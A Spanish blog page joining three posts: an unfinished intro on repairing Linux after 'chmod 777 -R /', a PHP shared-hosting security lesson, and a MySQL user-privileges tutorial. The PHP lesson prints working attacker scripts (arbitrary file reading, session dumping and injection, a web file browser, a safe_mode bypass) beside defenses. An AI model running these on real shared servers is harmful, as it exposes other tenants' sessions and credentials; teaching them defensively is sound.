Recuperando permisos de / en linux

Hola,

hoy en la nueva sección "la cagué" (xDDD)..... na enserio, supongamos que por algún motivo se nos fue el chmod 777 -R / y peor aun como root D: creo que quienes lo hemos hecho sabemos los problemas que nos dará el sistema si no inmediatamente, si cuando reiniciemos.

Pues bien en este articulo espero dar al menos una pequeña opción de como podríamos recuperar dichos permisos si no del todo correctos al menos que nos deje funcionales para correr los servicios fundamentales temporalmente mientras vamos echando mano a lo que aun queda con secuelas (jejej).

Dejo una imagen de la cual me referiré el resto del articulo:

Ejemplo de uso con carpetas de prueba (en rojo los pasos enumerados)

root1: Máquina "sana" o sea con los permisos por default o como vienen del sistema.

root2: Máquina que afectamos con el chmod

[Parte 8] Seguridad en PHP

Alojamiento compartido

Muchas veces por mas seguro que estes en codigo el servidor puede no estar bien configurado, pero como en este caso no se habla a profundidad en el tema de los servidores sino en el tema de seguridad en php será en lo que nos centraremos.

Codigo fuente expuesto

En un servidor web compartido tenemos la mala suerte de que el codigo podria tambien ser leido por otros usuarios que esten en el mismo alojamiento, si el alojamiento compartido no esta bien configurado, el usuario podria insertar un codigo como el siguiente:

 <?php
 header("Content-Type: text/plain");
 readfile($_GET['archivo']);?>

Un atacante con este codigo en su servidor web, podria obtener la ruta completa de nuestro alojamiento, e intentar incluir algun codigo nuestro, un ejemplo podria ser de la siguiente forma:

http://ejemplo.com/archivo.php?archivo=/ruta/para/codigo_fuente.php

La manera que se le ve mas segura para almacenar este tipo de datos para que nadie vea donde no debe, seria guardarlos en una base de datos (encriptados), pero esto deja un problema todavia... ¿como hacer para que nuestros datos a la coneccion de la base de datos esten seguros?, un ejemplo nosotros tenemos un archivo php como el siguiente:

 <?php
 $db_user = 'miusuario';
 $db_pass = 'micontraseña';
 $db_host = 'localhost';
 $db = mysql_connect($db_host,$db_user,$db_pass);?>

La mejor solucion para este tipo de problema, seria crear un archivo de configuracion para estos datos, que solo un usuario root (permisos administrativos) pueda leer. Agregando lo siguiente:

SetEnv DB_USER "MiUsuario"
SetEnv DB_PASS "MiContraseña" 

SetEnv es una directiva de apache, el formato de este archivo indica a Apache crear variables de entorno para su usuario y contraseña de la base de datos. Y porsupuesto, este archivo solo lo podria leer un usuario root, pero si no tienes suficientes permisos, podrias usar el siguiente comando:


$ chmod 600 db.conf


Con ese permiso solo el propietario del archivo puede leer y escribir en el.


Para que este archivo le sea de utilidad, usted necesita poder acceder a el mediante PHP. Para ello editamos el archivo httpd.conf de manera que incluyamos nuestro archivo:

Include "/ruta/para/db.conf"

Ahora solamente en PHP hacemos referencia con la variable superglobal $_SERVER de la siguiente manera:

 <?php
 $db_user = $_SERVER['DB_USER'];
 $db_pass = $_SERVER['DB_PASS'];
 $db_host = 'localhost';
 $db = mysql_connect($db_host,$db_user,$db_pass);?>

De manera que si el archivo anterior esta expuesto, no podrian ver nuestras credenciales de acceso :)

Nota importante: Tenga en cuenta que los datos son enviados por la variable superglobal $_SERVER por lo cual si tiene un archivo con la funcion phpinfo() deberia denegar el acceso a tal archivo.

Datos de sesion expuestos

Incluso cuando proteges los datos, las sesiones estan expuestas, php guarda todo en el directorio temporal /tmp, las sesiones tambien se guardan alli, y con un sencillo script en php pueden ser expuestas:

 <?php
 header('Content-Type: text/plain');
 session_start();
 $path = ini_get('session.save_path');
 $handle = dir($path);
 while ($filename = $handle->read()){
  if (substr($filename, 0, 5) == 'sess_'){
   $data = file_get_contents("$path/$filename");
   if (!empty($data)){
     session_decode($data);
    $session = $_SESSION;
    $_SESSION = array();
    echo "Session [" . substr($filename, 5) . "]\n";
    print_r($session);
    echo "\n--\n\n";
   }
  }
 }
?>

Lo que hacemos con este script en php es buscar en la carpeta temnporal los archivos que empiezan con sess_ y luego mostrar su contenido, que en realidad es el contenido de una sesion lo decodificamos y lo mostramos...

La mejor manera para proteger nuestros datos de sesion seria guardarlos en la base de datos, hay que tener en cuenta que la seguridad en la base de datos se vuelve mas importante.

Primero creamos una tabla para las sesiones:

CREATE TABLE sessions
(
id varchar(32) NOT NULL,
access int(10) unsigned,
data text,
PRIMARY KEY (id)
);

Describiendo la tabla quedaria de la siguiente forma:

Para almacenar nuestros datos de sesion en esta tabla, es necesario que modifiquemos el mecanismo de sesiones:

 <?php
 session_set_save_handler('_open',
 '_close',
 '_read',
 '_write',
 '_destroy',
 '_clean');
?>

Cada uno de estos argumentos maneja una tarea:

1.-  abre la sesion
2.- cierra la sesion
3.- lee la sesion
4.- escribe la sesion
5.- destruye la sesion
6.- limpia los datos de sesion obsoletos

Hacemos uso de ellos, creando una sesion para cada uno y realizando lo que se le indica:

<?php
 function _open(){
  global $_sess_db;
  $db_user = $_SERVER['DB_USER'];
  $db_pass = $_SERVER['DB_PASS'];
  $db_host = 'localhost';
  if ($_sess_db = mysql_connect($db_host, $db_user, $db_pass)){
   return mysql_select_db('sessions', $_sess_db);
  }
  return FALSE;
 }
 function _close(){
  global $_sess_db;
  return mysql_close($_sess_db);
 }
 function _read($id){
 global $_sess_db;
  $id = mysql_real_escape_string($id);
  $sql = "SELECT data FROM sessions WHERE id = '$id'";
  if ($result = mysql_query($sql, $_sess_db)){
   if (mysql_num_rows($result)){
    $record = mysql_fetch_assoc($result);
    return $record['data'];
   }
  }
  return '';
 }
 function _write($id, $data){
 global $_sess_db;
  $access = time();
  $id = mysql_real_escape_string($id);
  $access = mysql_real_escape_string($access);
  $data = mysql_real_escape_string($data);
  $sql = "REPLACE INTO sessions VALUES ('$id', '$access', '$data')";
  return mysql_query($sql, $_sess_db);
 }
 function _destroy($id){
  global $_sess_db;
  $id = mysql_real_escape_string($id);
  $sql = "DELETE FROM sessions WHERE id = '$id'";
  return mysql_query($sql, $_sess_db);
 }
 function _clean($max){
  global $_sess_db;
  $old = time() - $max;
  $old = mysql_real_escape_string($old);
  $sql = "DELETE FROM sessions WHERE access < '$old'";
  return mysql_query($sql, $_sess_db);
 }
?>

Con esto deberiamos de llamar primero a session_set_save_handler() antes de sesion_start(), pero las funciones las podemos definir en cualquier lugar. De esta manera nos evitamos de modificar el codigo cuando usamos sesiones, ya que podemos seguir utilizando $_SESSION y se comporta de igual manera, PHP todavia se encarga de generar y propagar el identificador de sesion, y se siguen aplicando los cambios a las directivas de configuracion de sesion. Todo lo que tenemos que hacer es llamar a la funcion  (y crear las funciones a las que se refiere), y PHP se encarga del resto.

De esta manera si llenamos los datos de una sesion, por ejemplo:

 <?php
 include "manejador_sesiones.php";
 session_set_save_handler('_open',
 '_close',
 '_read',
 '_write',
 '_destroy',
 '_clean');
 session_start();
 $_SESSION['foo'] = 'bar';
 $_SESSION['baz'] = 'wombat';
?>

Como vemos hacemos un include al manejador de sesiones, que es el codigo de cada funcion,insertado en la base de datos se veria de la siguiente, manera:  

Inyeccion de sesion

Como comentabamos anteriormente, cuando un usuario atacante se aloja en el mismo servidor, es posible que pueda atacarnos modificando nuestras sesiones, leyendolas o simplemente eliminarlas. Un ejemplo, seria el uso del siguiente script en PHP, inyectar.php:

 <?php
 include "manejador_sesiones.php";
 session_set_save_handler('_open',
 '_close',
 '_read',
 '_write',
 '_destroy',
 '_clean');
 session_start();
 $_SESSION['foo'] = 'bar';
 $_SESSION['baz'] = 'wombat';
?><?php
 session_start();
?>
 <form action="inyectar.php" method="POST">
<?php
 $path = ini_get('session.save_path');
 $handle = dir($path);
 while ($filename = $handle->read()){
  if (substr($filename, 0, 5) == 'sess_'){
   $sess_data = file_get_contents("$path/$filename");
   if (!empty($sess_data)){
    session_decode($sess_data);
    $sess_data = $_SESSION;
    $_SESSION = array();
    $sess_name = substr($filename, 5);
    $sess_name = htmlentities($sess_name, ENT_QUOTES, 'UTF-8');
    echo "<h1>Session [$sess_name]</h1>";
    foreach ($sess_data as $name => $value){
     $name = htmlentities($name, ENT_QUOTES, 'UTF-8');
     $value = htmlentities($value, ENT_QUOTES, 'UTF-8');
     echo "<p>
     $name:
     <input type=\"text\"
     name=\"{$sess_name}[{$name}]\"
     value=\"$value\" />
     </p>";
    }
    echo '<br />';
   }
  }
 }
 $handle->close();
 ?>
 <input type="submit" />
 </form>
 El script inyectar.php puede realizar las modificaciones indicadas en el formulario
<?php
 session_start();
 $path = ini_get('session.save_path');
 foreach ($_POST as $sess_name => $sess_data){
  $_SESSION = $sess_data;
  $sess_data = session_encode;
  file_put_contents("$path/$sess_name", $sess_data);
 }
 $_SESSION = array();
?>

De esta manera como se muestra la siguiente imagenes podriamos modificar, eliminar y leer las sesiones:

La manera de protegernos ante este tipo de ataque es, metiendo los datos a la base de datos como lo hicimos anteriormente, en el apartado datos de sesiones expuestas.

Sistema de archivos de navegacion

Ademas de poder leer archivos de su servidor, un atacante puede crear un script PHP, de manera de saber donde se encuentran estos archivos, mas que nada para navegar por ellos, para saber donde se encuentran y poder accederlos. Podemos crear un script PHP como el siguiente:

<pre>
<?php
 if (isset($_GET['dir'])){
  ls($_GET['dir']);
 }
 elseif (isset($_GET['file'])){
  cat($_GET['file']);
 }
 else{
  ls('/');
 }
 function cat($file){
  echo htmlentities(file_get_contents($file), ENT_QUOTES, 'UTF-8');
 }
 function ls($dir){
 $handle = dir($dir);
  while ($filename = $handle->read()){
   $size = filesize("$dir$filename");
   if (is_dir("$dir$filename")){
    $type = 'dir';
    $filename .= '/';
   }
   else{
    $type = 'file';
   }
   if (is_readable("$dir$filename")){
    $line = str_pad($size, 15);
    $line .= "<a href=\"{$_SERVER['PHP_SELF']}";
    $line .= "?$type=$dir$filename\">$filename</a>";
   }
   else{
    $line = str_pad($size, 15);
    $line .= $filename;
   }
   echo "$line\n";
  }
  $handle->close();
 }
?>
</pre>

De esta manera tenemos un navegador de archivos como el siguiente:

Entonces si cualquiera puede ver nuestros archivos y puede acceder a ellos y verlos, lo mejor seria optar por almacenar datos confidenciales en la base de datos y encriptados. Y archivos como por ejemplo las credenciales de la base de datos, db.conf deberiamos optar por meterlo fuera del directorio raiz.

Modo seguro

El modo seguro fue diseñado para intentar resolver los problemas de alojamientos compartidos. Sin embargo esto es arquitectonicamente incorrecto para resolver problemas a nivel PHP, pero desde las alternativas del servidor web o sistema operativo no son nada realisticas, mucha gente especialmente ISP's tienen modo seguro habilitado.

Cuando modo seguro esta activado, realiza una comprobacion para ver si el propietario del archivo es el mismo que esta leyendo o abriendolo o escribiendo sobre el. Aunque esto... afecta a otros lenguajes de programacion como PERL, Python, o un script en CGI Bash:

#!/bin/bash
echo "Content-Type: text/plain"
echo ""
cat /home/victima/inc/db.inc

En el archivo de configuracion php.ini podemos encontrar la directiva safe_mode la cual puede estar activada (On) o desactivada (Off), de la siguiente manera: Safe_mode = On
Si no sabes donde se encuentra tu archivo de configuracion, puedes crear un archivo con la funcion phpinfo() que te muestra informacion sobre la ruta donde se encuentra almacenado el archivo de configuracion de PHP.

Otro problema de modo seguro es que no impide el acceso a los ficheros que son propiedad del servidor web, por lo que si tenemos un script PHP como el siguiente:

<?php
 $filename = 'file.php';
 $script = '<?php
 header(\'Content-Type: text/plain\');
 readfile($_GET[\'file\']);
 ?>';
 file_put_contents($filename, $script);
?>

Se crea el siguiente archivo:

<?php
 header('Content-Type: text/plain');
 readfile($_GET['file']);
?>

Con el cual podemos leer archivos dentro del servidor. Debido a que el archivo tiene el mismo propietario que del archivo que lo creo. 

Como podemos ver el modo seguro contiene muchas fallas, es por eso que tambien fue eliminado y se declaro como obsoleto, entonces el modo seguro no es ningun reemplazo para todas las tecnicas de proteccion que hemos descrito hasta ahora.

Referencias:

* Essential PHP Security
* PHP documentacion oficial
* Wikipedia

MySQL MiniTutorial Parte 5

Introduccion

En esta parte del minicursillo de mysql veremos los permisos en los usuarios en mysql, es muy importante ya que de esta manera podemos especificar cosas como son: si tiene permisos de leer archivos del servidor, si tiene permisos de conectarse tantas veces a la base de datos, de hacer tantas consultas, de ver algunas bases de datos, columnas, filas, etc....


Usuarios Y Privilegios

Empecemos definiendo como esta creado un usuario, es decir, como puede ser identificado por el servidor, de manera que los haya dos usuarios con el mismo nombre pero el servidor pueda identificarlos como dos usuarios diferentes....

Por ejemplo, podemos tener dos usuarios con el nombre joe:

joe@localhost

joe@192.168.1.2

Con esto indicariamos que hay dos usuarios diferentes llamados joe, uno desde la maquina local y otro desde otra maquina que esta en la subred...
El arroba lo usamos como un tipo de separador!, entonces tenemos dos identificadores en mysql en este caso seria el user y el host... todo esto se puede conseguir desde la base de datos de mysql.... Por ejemplo:

En el caso de esta imagen, tengo una consulta como la siguiente:

select user,host,password from mysql.user;

me muestra 8 filas.... en este caso solo tengo en realidad 3 usuarios....
¿Por que solo tres usuarios? Pues por que el usuario root es el mismo para todo por que siempre esta indicando al mismo host en este caso localhost, arthusu-PC,127.0.0.1,::1 son el mismo host pero puede interpretarse de diferente manera como lo ves en la imagen.... Tambien podemos encontrar muchas columnas y filas interesantes en la base de datos mysql:

Nombre tabla	user	db	host
Alcance columnas	Host	Host	Host
	User	Db	Db
	Password	User
Columnas privilegios	Select_priv	Select_priv	Select_priv
	Insert_priv	Insert_priv	Insert_priv
	Update_priv	Update_priv	Update_priv
	Delete_priv	Delete_priv	Delete_priv
	Index_priv	Index_priv	Index_priv
	Alter_priv	Alter_priv	Alter_priv
	Create_priv	Create_priv	Create_priv
	Drop_priv	Drop_priv	Drop_priv
	Grant_priv	Grant_priv	Grant_priv
	Create_view_priv	Create_view_priv	Create_view_priv
	Show_view_priv	Show_view_priv	Show_view_priv
	Create_routine_priv	Create_routine_priv
	Alter_routine_priv	Alter_routine_priv
	References_priv	References_priv	References_priv
	Reload_priv
	Shutdown_priv
	Process_priv
	File_priv
	Show_db_priv
	Super_priv
	Create_tmp_table_priv	Create_tmp_table_priv	Create_tmp_table_priv
	Lock_tables_priv	Lock_tables_priv	Lock_tables_priv
	Execute_priv
	Repl_slave_priv
	Repl_client_priv
Columnas seguridad	ssl_type
	ssl_cipher
	x509_issuer
	x509_subject
Columnas recursos control	max_questions
	max_updates
	max_connections
	max_user_connections

Desde la cual podriamos modificar todo lo que estamos viendo en este minitutorial.... como ver los privilegios, modificarlos, eliminar un usuario, etc todo usando un usuario con los suficientes privilegios y algunas consultas que podemos hacer con lo anteriormente aprendido :) seria una buena forma de dejarles una tarea :D ja!

Otra forma de saberlo seria, por ejemplo si estamos conectados a la base de datos:

select current_user();

Como puedes ver el user que estoy usando actualmente es root@localhost

Crear una cuenta de usuario

Veremos como crear una cuenta de usuario con el comando CREATE USER, para ello veremos primero su sintaxis que es la siguiente:

CREATE USER user [IDENTIFIED BY [PASSWORD] 'password']
    [, user [IDENTIFIED BY [PASSWORD] 'password']] ...

La sintaxis la he tomado desde la pagina oficial de mysql, en este caso solo debo definir algunos puntos....

CREATE USER - el comando para crear un usuario
user - el nombre del usuario en este caso puede ser el que tu quieras, por ejemplo: arthusuBLOG

Luego sigue algo como esto  [] todo lo que este encerrado entre esos corchetes es opcional, es decir, lo ponemos si nosotros queremos pero si no queremos no, es mas bien si lo ocupamos o no....

IDENTIFIED BY [PASSWORD] - especificamos la contraseña que queremos que tenga ese usuario

Entonces ya sabemos como funciona la sintaxis estamos listo para hacer nuestra consulta de crear un usuario, no sin antes decir, que para poder crear un usuario primero que nada en el usuario que me encuentro en este momento debe tener privilegios de CREATE USER o INSERT en la base de datos mysql....

podemos ver los privilegios del usuario que deseemos de esta manera:

SHOW GRANTS FOR user;

donde user es el usuario que deseas ver los permisos que tiene o privilegios....

Como podemos ver en este caso tengo todos los privilegios en todas las bases de datos... para saber los privilegios puedo ver la lista:

Privilegio	Columna	Contexto
CREATE	Create_priv	bases de datos, tablas, o índices
DROP	Drop_priv	bases de datos o tablas
GRANT OPTION	Grant_priv	bases de datos, tablas, o procedimientos almacenados
REFERENCES	References_priv	bases de datos o tables
ALTER	Alter_priv	tablas
DELETE	Delete_priv	tablas
INDEX	Index_priv	tablas
INSERT	Insert_priv	tablas
SELECT	Select_priv	tablas
UPDATE	Update_priv	tablas
CREATE VIEW	Create_view_priv	vistas
SHOW VIEW	Show_view_priv	vistas
ALTER ROUTINE	Alter_routine_priv	procedimientos almacenados
CREATE ROUTINE	Create_routine_priv	procedimientos almacenados
EXECUTE	Execute_priv	procedimientos almacenados
FILE	File_priv	acceso a archivos en la máquina del servidor
CREATE TEMPORARY TABLES	Create_tmp_table_priv	administración del servidor
LOCK TABLES	Lock_tables_priv	administración del servidor
CREATE USER	Create_user_priv	administración del servidor
PROCESS	Process_priv	administración del servidor
RELOAD	Reload_priv	administración del servidor
REPLICATION CLIENT	Repl_client_priv	administración del servidor
REPLICATION SLAVE	Repl_slave_priv	administración del servidor
SHOW DATABASES	Show_db_priv	administración del servidor
SHUTDOWN	Shutdown_priv	administración del servidor
SUPER	Super_priv	administración del servidor

Esta tabla ha sido tomada de la pagina oficial de mysql...

Entonces creo nuestro usuario que en este caso se llamara arthusublog y su host sera localhost y la contraseña sera mipass... en este caso utilice la funcion PASSWORD() para que me generara un hash de mysql v5 y lo pegue tal como texto plano :D





CREATE USER arthusu@localhost IDENTIFIED BY '*EA8CE51785AFEB6794A7F248E0D0F86C9A494E29 ';

Otra cosa que pasa es que este usuario no puede ser usado por que nos mandara un mensaje de error como el siguiente:

Esto se debe a que le usuario existe pero no tiene permisos de nada, ni siquera de entrar... xD

Entonces le asignare todos los permisos, en este caso, aunque podria ser de diferente manera y no asignar solo permisos especificos, pero como en este caso no estamos viendo a profundidad el comando GRANT entonces solo explicaremos que es lo que que hace el siguiente comando:

En este caso le damos todos los privilegios al usuario arthusu@localhost y despues actualizamos los privilegios con flush privileges.... esto es muy importante por que si no lo hacemos no nos dejara entrar... ya que los privilegios no serian actualizados y no tomaria la consulta anterior...

con esto podriamos decir que tenemos otro usuario administrativo :P
Entonces accedemos a el, esto lo vimos si no estoy mal de memoria en la primera parte.

mysql -u arthusublog -p mipass

Renombrar un usuario

En este caso veremos como renombrar el usuario que acabamos de crear que en este caso en arthusublog lo renombraremos a arthusu para eso usaremos el comando RENAME USER, la sintaxis es la siguiente:

RENAME USER old_user TO new_user
    [, old_user TO new_user] ...

RENAME USER - lo que hace es renombrar un usuario
old_user - es el usuario actual
new_user - es el nuevo nombre que le daremos al usuario
[,old_user TO new_user] - esto es opcional podemos indicar mas de 1 usuario a renombrar especificando una coma despues de el otro usuario :P

Veamos en un ejemplo:

Dar privilegios y Quitar Privilegios

Para conceder o dar privilegios usamos el comando GRANT, su sintaxis es la siguiente:

GRANT priv_type [(column_list)] [, priv_type [(column_list)]] ...
    ON [object_type] {tbl_name | * | *.* | db_name.*}
    TO user [IDENTIFIED BY [PASSWORD] 'password']
        [, user [IDENTIFIED BY [PASSWORD] 'password']] ...
    [REQUIRE
        NONE |
        [{SSL| X509}]
        [CIPHER 'cipher' [AND]]
        [ISSUER 'issuer' [AND]]
        [SUBJECT 'subject']]
    [WITH with_option [with_option] ...]

object_type =
    TABLE
  | FUNCTION
  | PROCEDURE

with_option =
    GRANT OPTION
  | MAX_QUERIES_PER_HOUR count
  | MAX_UPDATES_PER_HOUR count
  | MAX_CONNECTIONS_PER_HOUR count
  | MAX_USER_CONNECTIONS count

Si es un poco larga por que tiene su lista de opcionales :D
Antes de continuar quiero decirles que para poder dar privilegios el usuario que utilices necesita tener activada la opcion  GRANT OPTION.
En este caso explicaremos lo mas utilizado:

GRANT - concede privilegios
priv_type - El tipo de privilegio, por ejemplo: SELECT,ALTER,ALTER,INSERT,UPDATE,etc todo esto lo puedes ver en la segunda tabla de arriba :D
ON - indica que sigue un object_type que es una tabla,funcion o procedimiento, o sigue una tabla o una database... o *.* que seria cualquiera, el simbolo * es el que significa cualquiera o todo....
TO -  luego de el sigue el usuario donde tambien si quisieramos modificar la constraseña podriamos indicarla...
WITH - indica algunas cosas interesantes como puede ser lo que el usuario puede hacer, como por ejemplo: maximo de conecciones por hora, el maximo de peticiones por hora, etc...

Veamos un ejemplo, con el usuario que tenemos arthusuxd no queremos que tenga todo el control sino que solo pueda realizar select (coger datos) solo en la base de datos mysql y que solo pueda realizar 5 peticiones por hora....


Pero antes de poder darle privilegios a este usuario primero debemos revocarle o quitarle los permisos que tenia anteriormente que eran todos....

Esto lo hacemos con REVOKE...Su sintaxis es:

REVOKE priv_type [(column_list)] [, priv_type [(column_list)]] ...
    ON [object_type] {tbl_name | * | *.* | db_name.*}
    FROM user [, user] ...

REVOKE - quita privilegios
priv_type - El tipo de privilegio, por ejemplo: SELECT,ALTER,ALTER,INSERT,UPDATE,etc todo esto lo puedes ver en la segunda tabla de arriba :D
ON - indica que sigue un object_type que es una tabla,funcion o procedimiento, o sigue una tabla o una database... o *.* que seria cualquiera, el simbolo * es el que significa cualquiera o todo....
FROM  user - indica el usuario a revocar o quitar privilegios donde user vendria siendo el usuario al que le quieres quitar privilegios...

En este caso le quito todos los privilegios que tenia y luego actualizo la lista de privilegios, con esto cuando muestro los privilegios de ese usuario solo se queda con USAGE que en realidad significa que no tiene ningun privilegio :P

Ahora si le daremos los privilegios que anteriormente queriamos tener:

Estamos listos para probar esos privilegios:

Como puedes ver hemos sobrepasado las 5 peticiones por hora :D

Pero en este caso si quisieramos reiniciar de nuevo las peticiones hacemos una actualizacion en la base de datos mysql en la columna max_questions del usuario arthusu@localhost y lo dejariamos a 10 por ejemplo :D.....
Con esto tendriamos 10 consultas XD....






Eliminar un usuario

Por ultimo si ya no quisieramos usar ese usuario simplemente lo eliminamos :D
La sintaxis es la siguiente:

DROP USER user [, user] ...

DROP USER - indica que se va eliminar un usuario
user- es el nombre del usuario a eliminar
[,user] - es opcional podemos eliminar mas de un usuario

Veamos un ejemplo:

DROP user arthusuxd@localhost;

De esta forma he eliminado el usuario arthusuxd@localhost y puedo comprobarlo viendo el user,host desde mysql.user....

Espero que les haya gustado el minitutorial y esperen el proximo, jeje no habia tenido tiempo de postear algo asi que aqui esta :P XD